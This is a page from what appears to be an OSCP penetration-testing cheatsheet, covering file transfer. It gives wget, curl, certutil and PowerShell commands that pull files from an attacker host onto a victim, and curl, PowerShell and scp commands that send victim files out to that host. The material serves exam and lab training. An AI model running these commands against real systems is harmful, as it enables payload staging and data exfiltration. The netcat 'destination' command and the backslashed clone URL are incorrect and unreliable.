OSCP Cheatsheet
  • Reference List
  • Basic
  • Methodology
    • Basic Scans
    • Service Enumeration
      • TCP: HTTP(S) - 80 / 443
      • TCP: SMB - 139 / 445
      • TCP: FTP - 21
      • TCP/UDP: DNS - 53
      • TCP: SSH - 22
      • TCP/UDP: LDAP - 389 / 636 / 3268
      • TCP/UDP: Kerberos - 88
      • UDP: SNMP - 161
      • TCP: SMTP - 25
      • TCP: RDP - 3389
      • TCP: RPC - 135 / 593
      • TCP: Evil-WinRM - 5985 / 5986
      • TCP: MYSQL - 3306
      • TCP: MSSQL - 1433
      • TCP: Confluence - 8090
    • Extras
  • File Transfer
  • KeePass Database
  • Shells
  • Enumeration
    • Linux
    • Windows
    • Git
  • Privilege Escalation
    • Linux
      • Abusing Cron Jobs
      • Abusing Password Authentication
      • Abusing Setuid Binaries and Capabilities
      • Abusing Sudo
      • Exploits
    • Windows
      • Service Binary Hijacking
      • DLL Hijacking
      • Unquoted Service Paths
      • Scheduled Tasks
      • Exploits
  • Port Forwarding
    • Linux
    • Windows
  • Attacks
    • Public Exploits
    • User Creation
    • Password Cracking
      • Custom Rules
      • Custom Password List
    • Phishing
    • SQLi
  • Active Directory
    • Enumeration
    • Attack
    • Lateral Movement
    • Persistence
Powered by GitBook
On this page
  • Attacker to Victim
  • On Attacker Machine
  • On Victim Machine
  • Victim to Attacker
  • On Kali Machine
  • On Victim Machine
  • Netcat
  • On Source Machine
  • On Destination Machine

File Transfer

Attacker to Victim

On Attacker Machine

python3 -m http.server 49123
wsgidav --host=0.0.0.0 --port=54321 --auth=anonymous --root /home/kali/offsec/webServerFiles

On Victim Machine

Linux Machine

wget http://<Kali IP Address>:<Kali Port>/<Target File>
wget -r http://<Kali IP Address>:<Kali Port>/<Target Dir>
curl http://<Kali IP Address>:<Kali Port>/<Target File> -O
scp -P <SSH Port> <File on Kali> <Username>@<Target IP Address>:/path/to/<Target File>

Windows Machine

certutil -urlcache -split -f 'http://<Kali IP Address>:<Kali Port>/<File on Kali>' <Target File>
powershell.exe -c "(New-Object System.Net.WebClient).DownloadFile('http://<Kali IP Address>:<Kali Port>/<File on Kali>', '<Target File>')"
iwr -uri http://<Kali IP Address>:<Kali Port>/<File on Kali> -Outfile <Target File>

Victim to Attacker

On Kali Machine

git clone https:\\github.com/Tallguy297/SimpleHTTPServerWithUpload
cd SimpleHTTPServerWithUpload
python3 SimpleHTTPServerWithUpload.py 49152
sudo systemctl start ssh
sudo systemctl enable ssh
sudo systemctl status ssh

On Victim Machine

Linux Machine

curl -F 'file=@<Target File>' http://<Kali IP Address>:49152/
scp <Target File> kali@<Kali IP Address>:/tmp

Windows Machine

powershell.exe -c "(New-Object System.Net.WebClient).UploadFile('http://<Kali IP Address>:49152/', '<Target File>')"

Netcat

On Source Machine

nc -nlvp 4444 > <Target File>

On Destination Machine

nc -nlvp 4444 < <Target File>
PreviousExtrasNextKeePass Database

Last updated 18 days ago